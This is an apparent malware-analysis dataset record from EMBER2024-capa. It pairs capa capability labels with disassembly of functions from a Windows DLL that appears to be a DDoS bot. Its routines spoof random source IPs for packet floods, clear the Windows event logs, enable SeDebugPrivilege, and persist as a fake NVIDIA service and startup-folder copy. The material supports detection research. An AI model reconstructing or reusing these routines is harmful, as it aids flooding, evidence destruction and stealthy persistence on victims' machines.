joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002e4e
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c4
push ebx
push esi
push edi
push 0
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov esi, dword [sym.imp.MSVCRT.dll_rand]
pop ecx
pop ecx
call esi
cdq
mov ecx, 0x200
idiv ecx
lea eax, [ebp - 0x1c4]
push eax
push 0x202
mov dword [ebp - 0x20], edx
call dword [sym.imp.WS2_32.dll_WSAStartup]
and byte [ebp - 0x34], 0
xor eax, eax
lea edi, [ebp - 0x33]
push 0x14
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x34]
push 0
push eax
call sub.MSVCRT.dll_memset
mov ebx, 0x400
lea eax, [ebp - 0x5c4]
push ebx
push dword [ebp - 0x20]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
mov dword [0x1000cc94], 0x41c
call esi
mov edi, 0xfa
cdq
mov ecx, edi
idiv ecx
inc edx
push edx
call esi
cdq
mov ecx, edi
idiv ecx
inc edx
push edx
call esi
cdq
mov ecx, edi
idiv ecx
inc edx
push edx
call esi
cdq
idiv edi
lea eax, [ebp - 0x34]
inc edx
push edx
push str._d._d._d._d
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ax, word [0x1000cc94]
mov edi, dword [sym.imp.WS2_32.dll_htons]
and byte [ebp - 0x1b], 0
add esp, 0x18
mov byte [ebp - 0x1c], 0x45
push eax
call edi
mov word [ebp - 0x1a], ax
xor eax, eax
mov word [ebp - 0x18], ax
mov word [ebp - 0x16], ax
mov byte [ebp - 0x14], 0x80
push str.192.168.1.2
mov byte [ebp - 0x13], 0x11
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xc], eax
call esi
cdq
mov ecx, 0xea60
idiv ecx
inc edx
push edx
call edi
mov word [ebp - 8], ax
mov ax, word [0x1000b1a4]
push eax
call edi
push 0x408
mov word [ebp - 6], ax
call edi
mov word [ebp - 4], ax
lea eax, [ebp - 0x34]
xor edi, edi
push eax
mov word [ebp - 2], di
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0x43c
mov esi, 0x1000c6ec
push edi
push esi
mov dword [ebp - 0x10], eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x10]
push 4
push eax
push esi
mov word [ebp - 2], di
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0xc]
push 4
push eax
push 0x1000c6f0
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x13]
push 1
push eax
push 0x1000c6f5
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 4]
push 2
push eax
push 0x1000c6f6
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 8]
push 8
push eax
push 0x1000c6f8
call sub.MSVCRT.dll_memcpy
add esp, 0x48
lea eax, [ebp - 0x5c4]
mov edi, 0x1000c700
push ebx
push eax
push edi
call sub.MSVCRT.dll_memcpy
push 0x414
push esi
call fcn.10002798
mov word [ebp - 2], ax
lea eax, [ebp - 0x1c]
push 0x14
push eax
push esi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 8]
push 8
push eax
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x5c4]
push ebx
push eax
push 0x1000c708
call sub.MSVCRT.dll_memcpy
add esp, 0x38
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000303c
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x1000307e
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x1000308a
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x1000b1b0], 0xffffffff
mov dword [0x1000b1a4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov dword [0x1000b1a8], eax
call fcn.10002e4e
mov ebx, dword [ebp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
cmp ebx, esi
mov dword [0x1000c5d4], esi
jle 0x100030d4
push esi
push esi
push esi
push 0x10002d58
push esi
push esi
call edi
inc dword [0x1000c5d4]
cmp dword [0x1000c5d4], ebx
jl 0x100030ba
cmp dword [0x1000b1a8], esi
pop ebx
je 0x100030e9
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x1000319f
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x100031e1
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x100031ed
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x1000b1b0], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
mov dword [0x1000b1a4], eax
mov eax, dword [ebp + 0x10]
cmp ebx, esi
mov dword [0x1000b1a8], eax
mov dword [0x1000c5d4], esi
jle 0x10003232
push esi
push esi
push esi
push 0x100030ed
push esi
push esi
call edi
inc dword [0x1000c5d4]
cmp dword [0x1000c5d4], ebx
jl 0x10003218
cmp dword [0x1000b1a8], esi
pop ebx
je 0x10003247
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x10003449
Capabilities:
Create thread
Resolve dns

Disassembly:
mov eax, 0x10008980
call fcn.100084cc
push ecx
push ebx
push esi
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.1000877e
xor ebx, ebx
push 7
push ebx
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Delete
mov esi, 0x1000b360
lea ecx, [ebp + 8]
push esi
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x1000c6dc
mov byte [ebp - 4], 1
call fcn.100087a2
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Find
push eax
push ebx
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Delete
lea eax, [ebp + 8]
mov ecx, 0x1000cc8c
push eax
call fcn.100087a2
push dword [0x1000c6dc]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [0x1000c6dc]
cmp eax, 0xffffffff
jne 0x10003508
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x10003514
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x1000b1b0], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov edi, dword [ebp + 0x14]
mov dword [0x1000b1a4], eax
mov eax, dword [ebp + 0x10]
cmp edi, ebx
mov dword [0x1000b1a8], eax
mov dword [0x1000c5d4], ebx
jle 0x10003559
push ebx
push ebx
push ebx
push 0x1000324b
push ebx
push ebx
call esi
inc dword [0x1000c5d4]
cmp dword [0x1000c5d4], edi
jl 0x1000353f
cmp dword [0x1000b1a8], ebx
pop edi
je 0x1000356e
push ebx
push ebx
push ebx
push 0x10002b1a
push ebx
push ebx
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x100037a3
Capabilities:
Create thread
Resolve dns

Disassembly:
mov eax, 0x10008a20
call fcn.100084cc
push ecx
push ebx
push esi
push dword [ebp + 8]
lea ecx, [ebp + 8]
call fcn.1000877e
xor ebx, ebx
push 7
push ebx
lea ecx, [ebp + 8]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::Delete
mov esi, 0x1000b360
lea ecx, [ebp + 8]
push esi
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, 0x1000c6dc
mov byte [ebp - 4], 1
call fcn.100087a2
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
push esi
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Find
push eax
push ebx
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::Delete
lea eax, [ebp + 8]
mov ecx, 0x1000cc8c
push eax
call fcn.100087a2
push dword [0x1000c6dc]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [0x1000c6dc]
cmp eax, 0xffffffff
jne 0x10003862
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, ebx
je 0x1000386e
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp - 0x10]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
or dword [0x1000b1b0], 0xffffffff
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
mov edi, dword [ebp + 0x14]
mov dword [0x1000b1a4], eax
mov eax, dword [ebp + 0x10]
cmp edi, ebx
mov dword [0x1000b1a8], eax
mov dword [0x1000c5d4], ebx
jle 0x100038b3
push ebx
push ebx
push ebx
push 0x10003588
push ebx
push ebx
call esi
inc dword [0x1000c5d4]
cmp dword [0x1000c5d4], edi
jl 0x10003899
cmp dword [0x1000b1a8], ebx
pop edi
je 0x100038c8
push ebx
push ebx
push ebx
push 0x10002b1a
push ebx
push ebx
call esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x100038e2
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x10003906
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100038ff
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret
Function at 0x10003dad
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x10003def
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x10003dfb
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x1000b1b0], 0xffffffff
je 0x10003e4e
or dword [0x1000b1b0], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x1000c5d4], esi
jle 0x10003e39
push esi
push esi
push esi
push 0x10003907
push esi
push esi
call edi
inc dword [0x1000c5d4]
cmp dword [0x1000c5d4], ebx
jl 0x10003e1f
cmp dword [0x1000b1a8], esi
pop ebx
je 0x10003e4e
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x10004242
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x10004284
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x10004290
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x1000b1b0], 0xffffffff
je 0x100042e3
or dword [0x1000b1b0], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x1000c5d4], esi
jle 0x100042ce
push esi
push esi
push esi
push 0x10003e52
push esi
push esi
call edi
inc dword [0x1000c5d4]
cmp dword [0x1000c5d4], ebx
jl 0x100042b4
cmp dword [0x1000b1a8], esi
pop ebx
je 0x100042e3
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x100043ea
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x1000442c
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x10004438
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp dword [0x1000b1b0], 0xffffffff
mov dword [0x1000b1a4], eax
mov eax, dword [ebp + 0x10]
mov dword [0x1000b1a8], eax
je 0x1000449b
or dword [0x1000b1b0], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x1000c5d4], esi
jle 0x10004486
push esi
push esi
push esi
push 0x100042e7
push esi
push esi
call edi
inc dword [0x1000c5d4]
cmp dword [0x1000c5d4], ebx
jl 0x1000446c
cmp dword [0x1000b1a8], esi
pop ebx
je 0x1000449b
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret

Function at 0x10004658
Capabilities:
Create thread
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_addr]
push dword [ebp + 8]
xor esi, esi
cmp eax, 0xffffffff
jne 0x1000469a
call dword [sym.imp.WS2_32.dll_gethostbyname]
cmp eax, esi
je 0x100046a6
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp + 8]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push str.192.168.1.2
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
cmp dword [0x1000b1b0], 0xffffffff
je 0x100046f9
or dword [0x1000b1b0], 0xffffffff
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
mov ebx, dword [ebp + 0x14]
cmp ebx, esi
mov dword [0x1000c5d4], esi
jle 0x100046e4
push esi
push esi
push esi
push 0x100044d5
push esi
push esi
call edi
inc dword [0x1000c5d4]
cmp dword [0x1000c5d4], ebx
jl 0x100046ca
cmp dword [0x1000b1a8], esi
pop ebx
je 0x100046f9
push esi
push esi
push esi
push 0x10002b1a
push esi
push esi
call edi
pop edi
pop esi
pop ebp
ret
Function at 0x100048da
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 8]
dec eax
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
je 0x10004927
dec eax
je 0x1000491c
dec eax
je 0x1000490f
dec eax
jne 0x10004959
mov eax, 0x1000c4d0
mov dword [ebp - 8], eax
jmp 0x10004917
mov eax, 0x1000c4d0
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], eax
jmp 0x10004927
mov eax, 0x1000c4d0
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 3
lea edi, [ebp - 0xc]
pop ebx
push dword [edi]
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov esi, eax
test esi, esi
je 0x10004950
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
add edi, 4
dec ebx
jne 0x10004930
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100049b9
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
call fcn.10002373
cmp byte [0x1000b8b4], 2
jne 0x100049dd
push str.NVIDIA_ShadowPlay_Helpea
call fcn.100021f3
pop ecx
jmp 0x100049fc
push 2
push 0
push 0
push 0
push str.NVIDIA_ShadowPlay_Helpea
push str.SYSTEMCurrentControlSetServices
push connect
call fcn.1000831b
add esp, 0x1c
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 0x94
push eax
call dword [0x1000cf00]
cmp dword [ebp - 0x84], 2
jne 0x10004a2f
cmp dword [ebp - 0x90], 6
jb 0x10004a2f
mov dword [0x1000cfd4], 1
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10004c2e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2d8
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0x170
lea eax, [ebp - 0x2d8]
push esi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor ebx, ebx
xor eax, eax
lea edi, [ebp - 0x167]
push 0x59
mov byte [ebp - 0x168], bl
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebx
push ebx
push 2
push ebx
stosb byte es:[edi], al
push 1
lea eax, [ebp - 0x1cc]
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x10004caa
lea eax, [ebp + 8]
push ebx
push eax
mov eax, dword [ebp + 0xc]
add eax, 0xfffffe90
add esi, 0x170
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10004cb1
xor eax, eax
jmp 0x10004d37
push edi
call dword [0x1000ced4]
lea eax, [ebp - 0x2d0]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
je 0x10004cee
lea eax, [ebp - 0x2d0]
push eax
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push str._s__s
push eax
call dword [0x1000cf24]
add esp, 0x10
jmp 0x10004d02
lea eax, [ebp - 0x1cc]
push eax
lea eax, [ebp - 0x168]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 0x2d4]
sub eax, ebx
je 0x10004d24
dec eax
je 0x10004d21
dec eax
dec eax
jne 0x10004d34
lea eax, [ebp - 0x168]
push eax
call fcn.100049b9
jmp 0x10004d33
push ebx
jmp 0x10004d26
push 5
lea eax, [ebp - 0x168]
push eax
call fcn.10004a37
pop ecx
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10006000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 4]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x100060a3
lea eax, [ebp - 0x10]
push ebx
push eax
lea eax, [ebp - 0x28]
xor ebx, ebx
push eax
push ebx
mov byte [ebp - 0x28], 0x53
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x44
mov byte [ebp - 0x25], 0x65
mov byte [ebp - 0x24], 0x62
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x67
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x6c
mov byte [ebp - 0x1b], 0x65
mov byte [ebp - 0x1a], 0x67
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], bl
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10006099
push ebx
push ebx
lea eax, [ebp - 0x14]
push ebx
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
leave
ret

Function at 0x1000610a
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
and byte [ebp - 0x104], 0
push esi
push edi
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x103]
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [ebp + 8]
push edi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x10006182
cmp byte [esi + edi], 0x5c
jne 0x10006176
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.10007c68
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x10006176
lea eax, [ebp - 0x104]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push edi
inc esi
call sub.MSVCRT.dll_strlen
cmp esi, eax
pop ecx
jb 0x1000613c
pop edi
pop esi
leave
ret
Function at 0x10006186
Capabilities:
Copy file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
lea eax, [ebp - 0x18]
xor ebx, ebx
push eax
mov dword [ebp - 0x18], str.NVIDIA_ShadowPlay_Helpea
mov dword [ebp - 0x14], 0x10005edc
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
test eax, eax
jne 0x100062e9
push esi
push edi
push 0x40
lea edi, [ebp - 0x21f]
pop ecx
mov byte [ebp - 0x220], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x220]
push 0x104
mov esi, str._SystemRoot__system32_
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x220]
push eax
push esi
call sub.MSVCRT.dll_strcpy
push esi
call sub.MSVCRT.dll_strlen
add esp, 0xc
cmp byte [eax + 0x1000b849], 0x5c
jne 0x10006212
push esi
call sub.MSVCRT.dll_strlen
pop ecx
mov byte [eax + 0x1000b849], bl
push str.NVIDIA.exe
lea eax, [ebp - 8]
push esi
push eax
lea eax, [ebp - 0x11c]
mov byte [ebp - 8], 0x25
push eax
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x5c
mov byte [ebp - 5], 0x25
mov byte [ebp - 4], 0x73
mov byte [ebp - 3], bl
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x11c]
push eax
call fcn.1000610a
add esp, 0x14
lea eax, [ebp - 0x324]
push 0xe1
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x11c]
push ebx
push eax
lea eax, [ebp - 0x324]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 2
push ebx
lea eax, [ebp - 0x11c]
push ebx
push eax
push 0x1000b7b4
push str.Container_service_for_NVIDIA_root_featurex
push str.NVIDIA_ShadowPlay_Helpea
call fcn.10001eff
add esp, 0x1c
cmp dword [0x1000b8bc], ebx
mov esi, eax
je 0x100062b0
lea eax, [ebp - 0x11c]
push eax
call fcn.100060a5
pop ecx
pop edi
cmp esi, ebx
pop esi
jne 0x100062c2
call fcn.10005c04
call fcn.10005cb6
jmp 0x100062e9
cmp dword [0x1000b8b0], ebx
je 0x100062e9
movzx eax, word [0x1000ba1e]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
call fcn.10005c04
call fcn.10002373
pop ebx
leave
ret
Function at 0x100062ec
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Create thread
Get common file path
Get file attributes
Get startup folder
Move file
Set file attributes
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x564
push ebx
push esi
xor esi, esi
push edi
push esi
lea eax, [ebp - 0x154]
push 7
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x10006498
mov ebx, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x460]
push 0x104
push eax
push esi
call ebx
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x460]
push eax
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x1000636f
cmp dword [0x1000b8bc], esi
je 0x10006493
push esi
push esi
push esi
push 0x10005ce3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x10006493
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push str.NVIDIA.exe
lea eax, [ebp - 0x50]
push 0x1000ba88
push eax
call edi
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x258]
push str._s_s
push eax
call edi
add esp, 0x1c
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10006493
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x564]
push str.___s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x564]
push eax
push str.agmkis2
push 1
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x35c]
push 0xe1
push eax
push esi
call ebx
push esi
lea eax, [ebp - 0x35c]
push str.._agmkis2
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 4
lea eax, [ebp - 0x35c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
movzx eax, word [0x1000ba1e]
push eax
lea eax, [ebp - 0x154]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x154]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
call fcn.10005c04
cmp dword [0x1000b8b0], esi
je 0x1000646e
push esi
push esi
lea eax, [ebp - 0x258]
push esi
push eax
push str.open
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.10002373
jmp 0x10006498
cmp dword [0x1000b8bc], esi
je 0x10006493
push esi
push esi
push esi
push 0x10005ce3
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x258]
push eax
call fcn.100060a5
pop ecx
call fcn.10005cb6
pop edi
pop esi
pop ebx
leave
ret